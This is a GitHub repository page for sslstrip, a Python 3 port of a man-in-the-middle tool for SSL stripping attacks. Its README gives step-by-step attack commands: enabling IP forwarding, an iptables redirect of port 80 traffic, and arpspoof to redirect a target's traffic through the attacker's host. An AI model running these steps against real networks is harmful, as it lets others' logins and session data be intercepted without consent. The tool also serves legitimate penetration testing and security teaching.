Skip to content

[Tools] A tool for exploiting Moxie Marlinspike's SSL "stripping" attack.

License

Notifications You must be signed in to change notification settings

hacktrackgnulinux/sslstrip

 
 

Repository files navigation

sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon).

  • Twitter Follow Jay "L1ghtn1ng" Townsend @jay_townsend1

Requirements:
pip3 install -r requirements.txt

Run as root to install or run it out of the directory:
python3 setup.py install

Running:
sslstrip can be run from the source base without installation.
Run as a normal user to see options.
python3 sslstrip.py -h

  1. As root, enable IP forwarding:
    echo "1" > /proc/sys/net/ipv4/ip_forward

  2. As root, setup iptables to intercept HTTP requests:
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>

  3. Run sslstrip with the options you prefer.

  4. As root, run arpspoof to redirect traffic to your host:
    arpspoof -i <your network interface> -t <target IP> <routers IP>

About

[Tools] A tool for exploiting Moxie Marlinspike's SSL "stripping" attack.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%